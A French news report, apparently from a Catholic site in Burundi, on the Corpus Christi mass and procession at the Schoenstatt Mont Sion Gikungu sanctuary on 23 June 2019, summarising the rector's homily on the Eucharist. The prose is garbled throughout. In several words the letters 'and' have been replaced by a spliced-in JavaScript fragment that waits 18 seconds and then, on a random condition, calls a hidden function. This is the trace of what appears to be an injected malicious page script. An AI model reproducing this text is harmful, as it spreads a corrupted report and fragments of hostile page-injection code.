Le dimanche du Saint sacrement est une des grdom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andes solennités que l’Eglise universelle célèbre avec ferveur. La célébration eucharistique de ce dimanche 23 juin 2019 qui coïncide avec la solennité du Saint Sacrement a été présidée au Sanctuaire Marial de Schoenstatt Mont Sion Gikungu par le  Père Herménégilde COYITUNGIYE Recteur dudit Sanctuaire.

Dans son introduction, le célébrant a signifié que  le Dieu qui s’est fait homme est celui-là même qui est venu habiter chez le siens et il vient à les rencontrer dans leurs quartiers et villages pour leurs montrer qu’il ne les abdom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andonne jamais quelques misérables pécheurs qu’ils nous soient.

Après les lectures du jour, le célébrant principal a procédé à la prédication. Il a d’abord fait savoir que les fidèles catholiques sont les seuls à célébrer cette solennité du Saint Sacrement. « Nous avons donc de quoi nous réjouir de plus que les autres fidèles d’autres confessions. » Il ajoute : Le Père Jean Marie Vianney a profondément médité sur ce grdom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and mystère et il a affirmé s’étonner tout en s’émerveillant de pouvoir toucher de ses propres mains ce grdom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and qu’il n’arrive pas à comprendre ni la grdom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andeur ni la profondeur. »

Qudom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and nous rentrons d’ici, dit-il, nous sommes sûrs de partir avec celui qui nous a tant aimés et qui s’est livré pour notre salut. Seulement, il ajoute, notre état de misère spirituelle nous fait doute de sa présence et nous passons par des voies qui n’aboutissent nulle part que dans la perdition. »

Bien des gens, particulièrement les hommes, passent par plusieurs cabarets pour boire, mais ils ne parviennent pas à assouvir leur soif car ils rentrent en criant et tombant pour y retourner le lendemain.  Selon lui, un seul endroit qui soit sûr pour assouvir la soif de tous est l’autel du Seigneur car c’est là qu’ils nous reçoivent le corps et le sang de Jésus. «  A cet autel, dit-il, deux choses sont sûres : nous sommes tous des invités d’honneur et nous rentrons rassasiés et la soif étanchée. »

D’après le consacrant, le sacrement que célèbrent aujourd’hui les fidèles catholiques est sans nul doute un signe éloquent de l’amour que Dieu a envers son peuple. « C’est dans ce sacrement d’amour que nous contemplons à quel point Jésus nous a aimés. Ce sacrement va de pair avec celui de réconciliation, pour dire que c’est après purification de nos cœurs que nous éprouvons pleinement la joie des enfants dignes du même Père ».

 L’eucharistie est aussi une nourriture qui nous fait grdom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andir dans l’amour. Jésus  a dit à ses disciples « Donnez-leurs vous-même à manger ». Qudom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and nous nous présentons à la table du Seigneur, nous sommes convaincus de rentrer rassasiés et satisfaits en tout. »

 Il a signalé que comme Jésus allait rencontrer les gens chez eux dans leurs villages, il va aussi  le faire dans les quartiers et villages. « Une des réactions que nous devons manifester, dit-il, est de dire Maranathan, viens Seigneur Jésus. Que la vierge Marie intercède pour nous afin que nous soyons beaux et prêts à accueillir son Fils dans la joie et l’obéissance des enfants de Dieu. Amen. »

Nous tenons à signaler que juste après la célébration eucharistique de ce jour, tous les fidèles ont commencé une procession avec le Saint Sacrement. Celle-ci a fait le tour des quartiers Gikungu rural et Gihosha pour durer cent-quatre-vingt bonnes minutes, dès 11h40 minutes heure locale.

Méthode Nydom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andwi

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